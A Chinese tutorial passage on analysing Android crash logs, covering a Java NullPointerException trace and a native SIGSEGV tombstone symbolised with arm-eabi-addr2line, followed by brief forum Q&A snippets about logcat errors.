较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:pid=1760 uid=10065 gids={50065, 1028}D/AndroidRuntime( 1760): Shutting downVMW/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)E/AndroidRuntime( 1760): FATALEXCEPTION: mainE/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo{com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)E/AndroidRuntime( 1760): ... 11moreI/Process ( 1760): Sending signal.PID: 1760 SIG: 9W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivityJave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36msI/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocationD/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34msI/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******I/DEBUG ( 127):Build fingerprint:"Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"I/DEBUG ( 127):Revision: "9"I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2cI/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1cI/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000I/DEBUG ( 127): d10 0000000000000000 d110000000000000000I/DEBUG ( 127): d120000000000000000 d130000000000000000I/DEBUG ( 127): d14 0000000000000000 d150000000000000000I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fcI/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000I/DEBUG ( 127): d20 0000000000000000 d210000000000000000I/DEBUG ( 127): d22 0000000000000000 d230000000000000000I/DEBUG ( 127): d24 0000000000000000 d250000000000000000I/DEBUG ( 127): d26 0000000000000000 d270000000000000000I/DEBUG ( 127): d28 0000000000000000 d290000000000000000I/DEBUG ( 127): d30 0000000000000000 d310000000000000000I/DEBUG ( 127): scr 00000010I/DEBUG ( 127):I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testappI/DEBUG ( 127):I/DEBUG ( 127):stack:I/DEBUG ( 127): beb4aaa8 000000c8 I/DEBUG ( 127): beb4aaac 00000000 I/DEBUG ( 127): beb4aab0 00000000 I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linkerI/DEBUG ( 127): beb4aab8 00001000 I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testappI/DEBUG ( 127): beb4aac8 00000000 I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testappI/DEBUG ( 127): beb4aad0 beb4ab24 [stack]I/DEBUG ( 127): beb4aad4 00000001 I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]I/DEBUG ( 127): beb4aadc 00000000 I/DEBUG ( 127): beb4aae0 df0027ad I/DEBUG ( 127): beb4aae4 00000000 I/DEBUG ( 127): #00 beb4aae8 00000000 I/DEBUG ( 127): ........ ........I/DEBUG ( 127): #01 beb4aae8 00000000 I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]I/DEBUG ( 127): beb4aaf4 00000000 I/DEBUG ( 127): beb4aaf8 00000000 I/DEBUG ( 127): beb4aafc 00000000 I/DEBUG ( 127): beb4ab00 00000000 I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testappI/DEBUG ( 127):这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:pid: 2102, tid: 2102,name: testapp >>>./testapp <<<从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:#./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108剩余三个地址翻译如下:main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361_start libgcc2.c:0利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。了解了如何分析普通的Log文件,下面让我们再看看如何分析ANR的Log文件。

Eclipse中编译在真机上运行后出现"已停止运行"以下是LogCat的一些显示

提示的是初始化错误。ActivityThread.java的第1203行,有个handleMessage,handleMessage里处理的时候可能出错了。

怎么android运行时报错,AndroidRuntime(757),从LOGCAT中得到的错误信息如下,之前运行成功了!

clear重新编译下。GameView的初始化有问题,里面的配置变了么

android studio的logcat错误日志,哪位解释一下啊,谢谢

空指针了朋友,addView没有吧linearLayout没有添加进去

android开发中logcat中的error(错误),请大家帮忙解决一下什么原因

com.example.tab/com.example.tab.MainActivity 这个类没有声明为public
 首页 上一页  14 15 16 17 18 19 20 21 22 23 24  下一页  尾页